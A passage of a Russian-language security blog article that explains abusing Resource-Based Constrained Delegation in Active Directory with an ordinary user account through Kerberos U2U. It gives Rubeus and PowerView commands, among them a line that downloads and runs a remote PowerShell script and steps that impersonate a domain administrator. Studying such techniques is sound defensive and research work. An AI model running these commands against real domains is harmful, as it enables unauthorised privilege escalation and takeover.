\u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0438\u043c \u0436\u0435 <a href=\"https:\/\/www.tiraniddo.dev\/2022\/05\/exploiting-rbcd-using-normal-user.html\">\u0432 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0435<\/a>, \u043b\u0435\u0433\u0448\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0443 \u044d\u0442\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>\u041f\u043e\u0447\u0435\u043c\u0443 \u0432\u043e\u043e\u0431\u0449\u0435 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e? \u0412\u0441\u0435 \u0447\u0430\u0449\u0435 \u0438 \u0447\u0430\u0449\u0435 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u043c\u044b \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>ms-DS-MachineAccountQuota<\/code> \u0432 AD \u0440\u0430\u0432\u043d\u043e 0 (\u043a\u0430\u043a \u043c\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432 \u0441\u0432\u043e\u0438\u0445 \u043e\u0442\u0447\u0435\u0442\u0430\u0445). \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0443 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435\u0442 \u043f\u0440\u0430\u0432 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043e\u043a, \u0430 \u0432\u0432\u043e\u0434 \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u0432 \u0434\u043e\u043c\u0435\u043d \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c. \u041d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u043b\u043e\u043c\u0430\u0442\u044c \u0436\u0435 \u043d\u0443\u0436\u043d\u043e ? \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0431\u044c\u044e\u0437\u0430 RBCD \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u044c, \u0430 \u0434\u043b\u044f \u0447\u0435\u0433\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0430\u043c \u0431\u044b\u043b\u0430 \u043d\u0443\u0436\u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043a\u0430?<\/p>\n<p>\u0412\u0441\u0435 \u043f\u0440\u043e\u0441\u0442\u043e. \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0443\u0436\u0431\u0430 KDC (Key Distribution Center) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u043c\u043e\u0433\u043b\u0430 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c TGS-\u0431\u0438\u043b\u0435\u0442\u044b, \u0432\u044b\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u043d\u0430\u043c \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 S4U, \u043e\u043d\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0437\u043d\u0430\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u043a\u043b\u044e\u0447 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0423\u0417 \u044d\u0442\u043e \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0442\u0430\u043a \u043a\u0430\u043a \u0435\u0435 \u0434\u043e\u043b\u0433\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0449\u0435\u0442\u0441\u044f KDC \u043f\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 SPN (Service Principal Name), \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aed\/d87\/1d6\/aedd871d6561d6ac7c31ee6d0c1d8733.png\" alt=\"Service Principal Name\" title=\"Service Principal Name\" width=\"840\" height=\"170\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aed\/d87\/1d6\/aedd871d6561d6ac7c31ee6d0c1d8733.png\"\/><figcaption>Service Principal Name<\/figcaption><\/figure>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u044f \u0443\u043a\u0430\u0436\u0443 \u0434\u0440\u0443\u0433\u0443\u044e (\u0441\u0432\u043e\u044e \u0436\u0435) <strong>\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e<\/strong> \u0443\u0447\u0435\u0442\u043a\u0443 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>, \u0446\u0435\u043f\u043e\u0447\u043a\u0430 S4U \u0441\u0444\u0435\u0439\u043b\u0438\u0442\u0441\u044f, \u043d\u0435 \u043f\u0440\u043e\u0439\u0434\u044f \u0444\u0430\u0437\u0443 S4U2self. \u041e\u0448\u0438\u0431\u043a\u0430 <code>KDC_ERR_S_PRINCIPAL_UNKNOWN<\/code> \u043d\u0435\u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u043e \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442 \u043d\u0430 \u0441\u0432\u043e\u044e \u043f\u0440\u0438\u0440\u043e\u0434\u0443: KDC \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 \u043a\u043b\u044e\u0447 \u043f\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e SPN \u0432 \u0441\u0438\u043b\u0443 \u0435\u0433\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">IEX(New-Object Net.WebClient).DownloadString(\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/raw\/master\/Recon\/PowerView.ps1\") Set-DomainRBCD MOSCOW -DelegateFrom AngaraUser -Verbose .\\Rubeus.exe hash \/password:Passw0rdUs3r! .\\Rubeus.exe s4u \/user:AngaraUser \/rc4:1917DF0DA95E9E1E02218BBD1581C481 \/impersonateuser:administrator \/msdsspn:host\/MOSCOW.tinycorp.net \/altservice:http \/nowrap \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6c5\/239\/d77\/6c5239d77121de4abba959e27ebbdc10.png\" alt=\"\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\" title=\"\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\" width=\"958\" height=\"1185\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6c5\/239\/d77\/6c5239d77121de4abba959e27ebbdc10.png\"\/><figcaption>\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/figcaption><\/figure>\n<p><strong>\u041d\u043e!<\/strong> \u041c\u044b \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u0430\u0431\u044b\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0423\u0417 \u0442\u0430\u043a\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0438\u0430\u043b, \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0438\u0445 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u044e\u0449\u0438\u0439 \u2014 \u044d\u0442\u043e UPN (User Principal Name).<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3ee\/398\/12f\/3ee39812fb9a41dcb591bd33f563c16c.png\" alt=\"User Principal Name\" title=\"User Principal Name\" width=\"520\" height=\"190\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3ee\/398\/12f\/3ee39812fb9a41dcb591bd33f563c16c.png\"\/><figcaption>User Principal Name<\/figcaption><\/figure>\n<p>\u0418\u0437 <a href=\"https:\/\/posts.specterops.io\/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab\">\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f<\/a> \u042d\u043b\u0430\u0434\u0430 \u0428\u0430\u0440\u0438\u043c\u0430 \u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c Shadow Credentials \u043c\u044b \u0437\u043d\u0430\u0435\u043c \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 <a href=\"http:\/\/www.di-srv.unisa.it\/~ads\/corso-security\/www\/CORSO-0001\/kerberos\/ref\/kerberos-faq.html#u2uauth\"><strong>U2U<\/strong><\/a> (User to User), \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e S4Uself, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c. \u0411\u0443\u0434\u0443\u0447\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c \u043a\u0430\u043a \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-pkca\/d0cf1763-3541-4008-a75f-a577fa5e8c5b\">PKINIT<\/a>, U2U \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f <strong>\u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0436\u0435<\/strong> \u0434\u043e\u043b\u0433\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u043b\u044e\u0447\u0443 (\u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u0430\u0440\u043e\u043b\u044e) \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0445\u043e\u0434\u0435 NTLM-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 Kerberos-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.<\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b U2U \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0443 KDC \u0431\u0438\u043b\u0435\u0442 TGS, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 NT-\u0445\u0435\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 <code>PAC_CREDENTIAL_INFO<\/code>, \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043d\u0430 \u043a\u0440\u0430\u0442\u043a\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u043c \u043a\u043b\u044e\u0447\u0435. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0441\u0432\u043e\u0439 NT-\u0445\u0435\u0448.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f62\/052\/801\/f620528013f510b2fd9b8b169d0fa492.png\" alt=\"\u0410\u0442\u0430\u043a\u0430 \u043d\u0430 PKINIT (\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u2013 posts.specterops.io)\" title=\"\u0410\u0442\u0430\u043a\u0430 \u043d\u0430 PKINIT (\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u2013 posts.specterops.io)\" width=\"627\" height=\"732\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f62\/052\/801\/f620528013f510b2fd9b8b169d0fa492.png\"\/><figcaption>\u0410\u0442\u0430\u043a\u0430 \u043d\u0430 PKINIT (\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u2013 posts.specterops.io)<\/figcaption><\/figure>\n<p>\u0412 Rubeus \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u0430 TGS-\u0431\u0438\u043b\u0435\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f U2U. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0447\u0435\u043c\u0443 \u0431\u044b \u043d\u0430\u043c \u0441 \u044d\u0442\u0438\u043c \u043d\u0435 \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c? \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u044f \u0437\u0430\u043f\u0440\u043e\u0448\u0443 \u0441\u0430\u043c\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 TGT-\u0431\u0438\u043b\u0435\u0442.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">.\\Rubeus.exe asktgt \/user:AngaraUser \/password:Passw0rdUs3r!<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/02d\/a53\/23a\/02da5323aa8d878ab3b1426916608c08.png\" alt=\"\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGT-\u0431\u0438\u043b\u0435\u0442\" title=\"\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGT-\u0431\u0438\u043b\u0435\u0442\" width=\"958\" height=\"807\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/02d\/a53\/23a\/02da5323aa8d878ab3b1426916608c08.png\"\/><figcaption>\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGT-\u0431\u0438\u043b\u0435\u0442<\/figcaption><\/figure>\n<p>\u0417\u0430\u043f\u043e\u043c\u043d\u0438\u043c \u0435\u0433\u043e \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, \u043e\u043d \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043d\u0430\u043c \u043f\u043e\u0437\u0436\u0435. \u0414\u0430\u043b\u0435\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0445\u0435\u043c\u0435 \u0432\u044b\u0448\u0435, \u044f \u0437\u0430\u043f\u0440\u043e\u0448\u0443 TGS-\u0431\u0438\u043b\u0435\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 U2U, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u00bb \u0441\u0432\u043e\u0439 TGT-\u0431\u0438\u043b\u0435\u0442. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#asktgs\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a> Rubeus \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0436\u0435 TGT-\u0431\u0438\u043b\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c <code>\/tgs<\/code> (\u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 PKINIT), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043e\u043f\u0446\u0438\u044e <code>\/targetuser<\/code> \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 <code>PAC_CREDENTIAL_INFO<\/code> \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0438\u0442\u044c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430).<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">.\\Rubeus.exe asktgs \/u2u \/targetuser:administrator \/ticket:&lt;TGT> \/tgs:&lt;TGT><\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/357\/375\/576\/357375576437f6eb10e462d56cee5032.png\" alt=\"\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGS-\u0431\u0438\u043b\u0435\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 U2U\" title=\"\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGS-\u0431\u0438\u043b\u0435\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 U2U\" width=\"958\" height=\"1195\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/357\/375\/576\/357375576437f6eb10e462d56cee5032.png\"\/><figcaption>\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c TGS-\u0431\u0438\u043b\u0435\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 U2U<\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u044f \u043c\u043e\u0433\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 TGS \u0432 \u0440\u043e\u043b\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044f \u043f\u0440\u043e\u0448\u0435\u043b \u044d\u0442\u0430\u043f S4Uself, \u0438 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 <code>s4u<\/code>. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0430\u0441 \u0436\u0434\u0435\u0442 \u043d\u043e\u0432\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">.\\Rubeus.exe asktgs \/u2u \/targetuser:administrator \/ticket:&lt;TGT> \/tgs:&lt;TGS><\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b30\/1f8\/b5a\/b301f8b5ad7537835fa2b4539983967b.png\" alt=\"\u0418 \u0441\u043d\u043e\u0432\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\" title=\"\u0418 \u0441\u043d\u043e\u0432\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\" width=\"958\" height=\"767\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b30\/1f8\/b5a\/b301f8b5ad7537835fa2b4539983967b.png\"\/><figcaption>\u0418 \u0441\u043d\u043e\u0432\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0431\u0435 S4U \u0441 \u0423\u0417 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/figcaption><\/figure>\n<p>\u041e\u0448\u0438\u0431\u043a\u0430 <code>KDC_ERR_BADOPTION<\/code>, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0430\u0432\u0442\u043e\u0440\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043c\u043e\u0436\u0435\u0442 \u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c, \u0447\u0442\u043e KDC \u043d\u0435 \u0441\u043c\u043e\u0433 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c TGS-\u0431\u0438\u043b\u0435\u0442, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0435\u043c\u0443 \u043d\u0430 \u0448\u0430\u0433\u0435 S4U2proxy. \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e? \u0412 \u0441\u0438\u043b\u0443 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u044b \u00ab\u0441\u0447\u0438\u0442\u0435\u0440\u0438\u043b\u0438\u00bb \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 S4Uself, \u043e\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 TGS-\u0431\u0438\u043b\u0435\u0442, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 U2U, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0435\u0433\u043e 